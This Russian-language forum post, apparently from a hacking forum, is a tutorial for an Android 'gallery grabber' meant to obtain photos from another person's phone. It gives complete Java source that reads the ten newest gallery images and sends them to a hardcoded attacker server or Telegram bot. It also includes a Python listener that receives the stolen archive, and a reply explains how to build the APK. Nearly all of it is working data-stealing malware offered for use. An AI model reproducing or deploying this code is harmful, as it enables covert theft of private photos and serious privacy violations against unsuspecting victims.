Android Gallery ******* - Source Code Решил написать небольшую статью для тех, кто по каким-то неведомым мне причинам хочет получить фотографии из галереи другого человека. Статья не самая большая, но думаю, будет интересна. Как обычно, код клиента я буду писать на Java(A). Возможно, у некоторых возникнет вопрос, что означает "A" после Java. Это неофициальное обозначение изменённой Java, используемой на Android Код сервера в этот раз будет не на C# + WPF, а на Python, так как мне было лень использовать что-то более сложное. Общение между клиентом и сервером осуществляется по TCP, при этом IP и порт сервера зашиты в коде клиента. Начнем с кода клиента. В первую очередь как обычно у нас AndroidManifest.xml: <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" /> JS <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" /> Хочу добавить что пример с таким подходом работает на самых новых версиях Android как 13/14 и если вы хотите использовать код на более старых версиях 12,11,10... То вам нужно будет изменить логику в целом и использовать доступ к файлам - Целый код будет выглядеть так: <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools"> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" /> <application android:allowBackup="true" android:dataExtractionRules="@xml/data_extraction_rules" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.GallGrabNMZ" tools:targetApi="31"> <activity android:name=".MainActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> JS <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools"> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" /> <application android:allowBackup="true" android:dataExtractionRules="@xml/data_extraction_rules" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.GallGrabNMZ" tools:targetApi="31"> <activity android:name=".MainActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> Затем у нас код MainActivity.java с основной логикой: private static final int REQUEST_PERMISSIONS = 100; private static final String SERVER_IP = "0.0.0.0"; //Ip сервера private static final int SERVER_PORT = 7777; //порт JS private static final int REQUEST_PERMISSIONS = 100; private static final String SERVER_IP = "0.0.0.0"; //Ip сервера private static final int SERVER_PORT = 7777; //порт Тут ваш ip:p сервера на который будут отправлены данные. if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) { ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_MEDIA_IMAGES}, REQUEST_PERMISSIONS); } else { new ZipAndSendTask().execute(); } } @Override public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) { super.onRequestPermissionsResult(requestCode, permissions, grantResults); if (requestCode == REQUEST_PERMISSIONS && grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) { new ZipAndSendTask().execute(); } else { Log.e("MainActivity", "Разрешение не предоставлено"); } } JS if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) { ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_MEDIA_IMAGES}, REQUEST_PERMISSIONS); } else { new ZipAndSendTask().execute(); } } @Override public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) { super.onRequestPermissionsResult(requestCode, permissions, grantResults); if (requestCode == REQUEST_PERMISSIONS && grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) { new ZipAndSendTask().execute(); } else { Log.e("MainActivity", "Разрешение не предоставлено"); } } Проверка предоставленных разрешений. Далее в коде будет представлена сама логика работы, но перед этим я хочу объяснить, как всё устроено. Сначала код запрашивает разрешение на доступ к медиаконтенту. После этого он получает 10 последних изображений из галереи и упаковывает их в файл .zip для удобной отправки. Затем код отправляет этот файл на сервер через TCP-соединение. разрешения -> получение данных -> упаковка -> отправка -> получение сервером Продолжим кодом который получает изображения: private ArrayList<String> getLastImages(int count) { ArrayList<String> imagePaths = new ArrayList<>(); String[] projection = {MediaStore.Images.Media.DATA}; Cursor cursor = getContentResolver().query( MediaStore.Images.Media.EXTERNAL_CONTENT_URI, projection, null, null, MediaStore.Images.Media.DATE_ADDED + " DESC"); if (cursor != null) { int dataIndex = cursor.getColumnIndex(MediaStore.Images.Media.DATA); while (cursor.moveToNext() && imagePaths.size() < count) { imagePaths.add(cursor.getString(dataIndex)); } cursor.close(); } return imagePaths; } JS private ArrayList<String> getLastImages(int count) { ArrayList<String> imagePaths = new ArrayList<>(); String[] projection = {MediaStore.Images.Media.DATA}; Cursor cursor = getContentResolver().query( MediaStore.Images.Media.EXTERNAL_CONTENT_URI, projection, null, null, MediaStore.Images.Media.DATE_ADDED + " DESC"); if (cursor != null) { int dataIndex = cursor.getColumnIndex(MediaStore.Images.Media.DATA); while (cursor.moveToNext() && imagePaths.size() < count) { imagePaths.add(cursor.getString(dataIndex)); } cursor.close(); } return imagePaths; } Теперь код который упакует данные в .zip архив: private File zipImages(ArrayList<String> imagePaths) { try { File zipFile = new File(getCacheDir(), "images.zip"); ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(zipFile)); for (String imagePath : imagePaths) { File imageFile = new File(imagePath); FileInputStream fis = new FileInputStream(imageFile); ZipEntry zipEntry = new ZipEntry(imageFile.getName()); zos.putNextEntry(zipEntry); byte[] buffer = new byte[1024]; int length; while ((length = fis.read(buffer)) > 0) { zos.write(buffer, 0, length); } zos.closeEntry(); fis.close(); } zos.close(); return zipFile; } catch (Exception e) { e.printStackTrace(); return null; } } JS private File zipImages(ArrayList<String> imagePaths) { try { File zipFile = new File(getCacheDir(), "images.zip"); ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(zipFile)); for (String imagePath : imagePaths) { File imageFile = new File(imagePath); FileInputStream fis = new FileInputStream(imageFile); ZipEntry zipEntry = new ZipEntry(imageFile.getName()); zos.putNextEntry(zipEntry); byte[] buffer = new byte[1024]; int length; while ((length = fis.read(buffer)) > 0) { zos.write(buffer, 0, length); } zos.closeEntry(); fis.close(); } zos.close(); return zipFile; } catch (Exception e) { e.printStackTrace(); return null; } } Код для отправки .zip на сервер: private void sendZipToServer(File zipFile) { try { Socket socket = new Socket(SERVER_IP, SERVER_PORT); OutputStream os = new BufferedOutputStream(socket.getOutputStream()); FileInputStream fis = new FileInputStream(zipFile); byte[] buffer = new byte[1024]; int length; while ((length = fis.read(buffer)) > 0) { os.write(buffer, 0, length); } os.flush(); os.close(); fis.close(); socket.close(); } catch (Exception e) { e.printStackTrace(); } } } } JS private void sendZipToServer(File zipFile) { try { Socket socket = new Socket(SERVER_IP, SERVER_PORT); OutputStream os = new BufferedOutputStream(socket.getOutputStream()); FileInputStream fis = new FileInputStream(zipFile); byte[] buffer = new byte[1024]; int length; while ((length = fis.read(buffer)) > 0) { os.write(buffer, 0, length); } os.flush(); os.close(); fis.close(); socket.close(); } catch (Exception e) { e.printStackTrace(); } } } } И напоследок представлю код, который в самом начале вызывается и выполняет описанные выше функции. Этот код получает 10 последних изображений из списка: private class ZipAndSendTask extends AsyncTask<Void, Void, Void> { @Override protected Void doInBackground(Void... voids) { try { ArrayList<String> imagePaths = getLastImages(10); //колво изображений if (!imagePaths.isEmpty()) { // Упаковываем File zipFile = zipImages(imagePaths); if (zipFile != null) { // Отправляем sendZipToServer(zipFile); } } } catch (Exception e) { e.printStackTrace(); } return null; } JS private class ZipAndSendTask extends AsyncTask<Void, Void, Void> { @Override protected Void doInBackground(Void... voids) { try { ArrayList<String> imagePaths = getLastImages(10); //колво изображений if (!imagePaths.isEmpty()) { // Упаковываем File zipFile = zipImages(imagePaths); if (zipFile != null) { // Отправляем sendZipToServer(zipFile); } } } catch (Exception e) { e.printStackTrace(); } return null; } На этом код клиента закончен. Полный код MainActivity.java: package xss.nmz.gallgrab_nmz; import android.Manifest; import android.content.pm.PackageManager; import android.database.Cursor; import android.os.AsyncTask; import android.os.Bundle; import android.provider.MediaStore; import android.util.Log; import androidx.annotation.NonNull; import androidx.appcompat.app.AppCompatActivity; import androidx.core.app.ActivityCompat; import androidx.core.content.ContextCompat; import java.io.BufferedOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.OutputStream; import java.net.Socket; import java.util.ArrayList; import java.util.zip.ZipEntry; import java.util.zip.ZipOutputStream; public class MainActivity extends AppCompatActivity { private static final int REQUEST_PERMISSIONS = 100; private static final String SERVER_IP = ""; private static final int SERVER_PORT = ; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // Проверка разрешений if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) { ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_MEDIA_IMAGES}, REQUEST_PERMISSIONS); } else { new ZipAndSendTask().execute(); } } @Override public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) { super.onRequestPermissionsResult(requestCode, permissions, grantResults); if (requestCode == REQUEST_PERMISSIONS && grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) { new ZipAndSendTask().execute(); } else { Log.e("MainActivity", "Разрешение не предоставлено"); } } private class ZipAndSendTask extends AsyncTask<Void, Void, Void> { @Override protected Void doInBackground(Void... voids) { try { ArrayList<String> imagePaths = getLastImages(10); //колво изображений if (!imagePaths.isEmpty()) { // Упаковываем File zipFile = zipImages(imagePaths); if (zipFile != null) { // Отправляем sendZipToServer(zipFile); } } } catch (Exception e) { e.printStackTrace(); } return null; } private ArrayList<String> getLastImages(int count) { ArrayList<String> imagePaths = new ArrayList<>(); String[] projection = {MediaStore.Images.Media.DATA}; Cursor cursor = getContentResolver().query( MediaStore.Images.Media.EXTERNAL_CONTENT_URI, projection, null, null, MediaStore.Images.Media.DATE_ADDED + " DESC"); if (cursor != null) { int dataIndex = cursor.getColumnIndex(MediaStore.Images.Media.DATA); while (cursor.moveToNext() && imagePaths.size() < count) { imagePaths.add(cursor.getString(dataIndex)); } cursor.close(); } return imagePaths; } // Упаковка private File zipImages(ArrayList<String> imagePaths) { try { File zipFile = new File(getCacheDir(), "images.zip"); ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(zipFile)); for (String imagePath : imagePaths) { File imageFile = new File(imagePath); FileInputStream fis = new FileInputStream(imageFile); ZipEntry zipEntry = new ZipEntry(imageFile.getName()); zos.putNextEntry(zipEntry); byte[] buffer = new byte[1024]; int length; while ((length = fis.read(buffer)) > 0) { zos.write(buffer, 0, length); } zos.closeEntry(); fis.close(); } zos.close(); return zipFile; } catch (Exception e) { e.printStackTrace(); return null; } } // Отправка private void sendZipToServer(File zipFile) { try { Socket socket = new Socket(SERVER_IP, SERVER_PORT); OutputStream os = new BufferedOutputStream(socket.getOutputStream()); FileInputStream fis = new FileInputStream(zipFile); byte[] buffer = new byte[1024]; int length; while ((length = fis.read(buffer)) > 0) { os.write(buffer, 0, length); } os.flush(); os.close(); fis.close(); socket.close(); } catch (Exception e) { e.printStackTrace(); } } } } JS package xss.nmz.gallgrab_nmz; import android.Manifest; import android.content.pm.PackageManager; import android.database.Cursor; import android.os.AsyncTask; import android.os.Bundle; import android.provider.MediaStore; import android.util.Log; import androidx.annotation.NonNull; import androidx.appcompat.app.AppCompatActivity; import androidx.core.app.ActivityCompat; import androidx.core.content.ContextCompat; import java.io.BufferedOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.OutputStream; import java.net.Socket; import java.util.ArrayList; import java.util.zip.ZipEntry; import java.util.zip.ZipOutputStream; public class MainActivity extends AppCompatActivity { private static final int REQUEST_PERMISSIONS = 100; private static final String SERVER_IP = ""; private static final int SERVER_PORT = ; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // Проверка разрешений if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) { ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_MEDIA_IMAGES}, REQUEST_PERMISSIONS); } else { new ZipAndSendTask().execute(); } } @Override public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) { super.onRequestPermissionsResult(requestCode, permissions, grantResults); if (requestCode == REQUEST_PERMISSIONS && grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) { new ZipAndSendTask().execute(); } else { Log.e("MainActivity", "Разрешение не предоставлено"); } } private class ZipAndSendTask extends AsyncTask<Void, Void, Void> { @Override protected Void doInBackground(Void... voids) { try { ArrayList<String> imagePaths = getLastImages(10); //колво изображений if (!imagePaths.isEmpty()) { // Упаковываем File zipFile = zipImages(imagePaths); if (zipFile != null) { // Отправляем sendZipToServer(zipFile); } } } catch (Exception e) { e.printStackTrace(); } return null; } private ArrayList<String> getLastImages(int count) { ArrayList<String> imagePaths = new ArrayList<>(); String[] projection = {MediaStore.Images.Media.DATA}; Cursor cursor = getContentResolver().query( MediaStore.Images.Media.EXTERNAL_CONTENT_URI, projection, null, null, MediaStore.Images.Media.DATE_ADDED + " DESC"); if (cursor != null) { int dataIndex = cursor.getColumnIndex(MediaStore.Images.Media.DATA); while (cursor.moveToNext() && imagePaths.size() < count) { imagePaths.add(cursor.getString(dataIndex)); } cursor.close(); } return imagePaths; } // Упаковка private File zipImages(ArrayList<String> imagePaths) { try { File zipFile = new File(getCacheDir(), "images.zip"); ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(zipFile)); for (String imagePath : imagePaths) { File imageFile = new File(imagePath); FileInputStream fis = new FileInputStream(imageFile); ZipEntry zipEntry = new ZipEntry(imageFile.getName()); zos.putNextEntry(zipEntry); byte[] buffer = new byte[1024]; int length; while ((length = fis.read(buffer)) > 0) { zos.write(buffer, 0, length); } zos.closeEntry(); fis.close(); } zos.close(); return zipFile; } catch (Exception e) { e.printStackTrace(); return null; } } // Отправка private void sendZipToServer(File zipFile) { try { Socket socket = new Socket(SERVER_IP, SERVER_PORT); OutputStream os = new BufferedOutputStream(socket.getOutputStream()); FileInputStream fis = new FileInputStream(zipFile); byte[] buffer = new byte[1024]; int length; while ((length = fis.read(buffer)) > 0) { os.write(buffer, 0, length); } os.flush(); os.close(); fis.close(); socket.close(); } catch (Exception e) { e.printStackTrace(); } } } } Теперь перейдем к простому коду сервера на Python: import socket def start_server(): server_ip = "0.0.0.0" server_port = 4444 buffer_size = 1024 output_file = "received_images.zip" with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket: server_socket.bind((server_ip, server_port)) server_socket.listen(1) print(f"Сервер запущен{server_ip}:{server_port}") conn, addr = server_socket.accept() with conn: print(f"Подключено {addr}") with open(output_file, "wb") as file: while True: data = conn.recv(buffer_size) if not data: break file.write(data) print(f"Файл сохранен{output_file}") if __name__ == "__main__": start_server() Python import socket def start_server(): server_ip = "0.0.0.0" server_port = 4444 buffer_size = 1024 output_file = "received_images.zip" with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket: server_socket.bind((server_ip, server_port)) server_socket.listen(1) print(f"Сервер запущен{server_ip}:{server_port}") conn, addr = server_socket.accept() with conn: print(f"Подключено {addr}") with open(output_file, "wb") as file: while True: data = conn.recv(buffer_size) if not data: break file.write(data) print(f"Файл сохранен{output_file}") if __name__ == "__main__": start_server() Сервер крайне простой без никаких фильтров и тд. сохраняет лог в файл received_images.zip в директории с самим собой. Благодарю за внимание! Если у вас есть какие-либо вопросы или дополнения к статье, буду рад обсудить их или помочь с пояснениями.
Изменил код MainActivity.java и теперь лог приходит не на Python сервер а в Telegram Все что вам нужно указать в коде это ваш bot token и ваш telegram id. новый код: package xss.nmz.gallgrab_nmz; import android.Manifest; import android.content.pm.PackageManager; import android.database.Cursor; import android.os.AsyncTask; import android.os.Bundle; import android.provider.MediaStore; import android.util.Log; import androidx.annotation.NonNull; import androidx.appcompat.app.AppCompatActivity; import androidx.core.app.ActivityCompat; import androidx.core.content.ContextCompat; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.net.HttpURLConnection; import java.net.URL; import java.util.ArrayList; import okhttp3.*; public class MainActivity extends AppCompatActivity { private static final int REQUEST_PERMISSIONS = 100; private static final String BOT_TOKEN = ""; private static final String CHAT_ID = "6260611316"; Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // Проверка разрешений if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) { ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_MEDIA_IMAGES}, REQUEST_PERMISSIONS); } else { new ZipAndSendTask().execute(); } } Override public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) { super.onRequestPermissionsResult(requestCode, permissions, grantResults); if (requestCode == REQUEST_PERMISSIONS && grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) { new ZipAndSendTask().execute(); } else { Log.e("MainActivity", "Разрешение не предоставлено"); } } private class ZipAndSendTask extends AsyncTask<Void, Void, Void> { Override protected Void doInBackground(Void... voids) { try { ArrayList<String> imagePaths = getLastImages(10); // количество изображений if (!imagePaths.isEmpty()) { // Отправляем изображения for (String imagePath : imagePaths) { File imageFile = new File(imagePath); sendImageToTelegram(imageFile); } } } catch (Exception e) { e.printStackTrace(); } return null; } private ArrayList<String> getLastImages(int count) { ArrayList<String> imagePaths = new ArrayList<>(); String[] projection = {MediaStore.Images.Media.DATA}; Cursor cursor = getContentResolver().query( MediaStore.Images.Media.EXTERNAL_CONTENT_URI, projection, null, null, MediaStore.Images.Media.DATE_ADDED + " DESC"); if (cursor != null) { int dataIndex = cursor.getColumnIndex(MediaStore.Images.Media.DATA); while (cursor.moveToNext() && imagePaths.size() < count) { imagePaths.add(cursor.getString(dataIndex)); } cursor.close(); } return imagePaths; } // Отправка изображения в Telegram private void sendImageToTelegram(File imageFile) { OkHttpClient client = new OkHttpClient(); String url = "https://api.telegram.org/bot" + BOT_TOKEN + "/sendDocument"; RequestBody requestBody = new MultipartBody.Builder() .setType(MultipartBody.FORM) .addFormDataPart("chat_id", CHAT_ID) .addFormDataPart("document", imageFile.getName(), RequestBody.create(imageFile, MediaType.parse("application/octet-stream"))) .build(); Request request = new Request.Builder() .url(url) .post(requestBody) .build(); try (Response response = client.newCall(request).execute()) { if (!response.isSuccessful()) { throw new IOException("Unexpected code " + response); } Log.d("MainActivity", "Изображение отправлено успешно"); } catch (IOException e) { e.printStackTrace(); } } } }
Sergio_Marquina, установи AndroidStudio и создай проект затем в MainActivity.java вставь код который я отправил выше и собери проект через Build -> Generate Bundle APK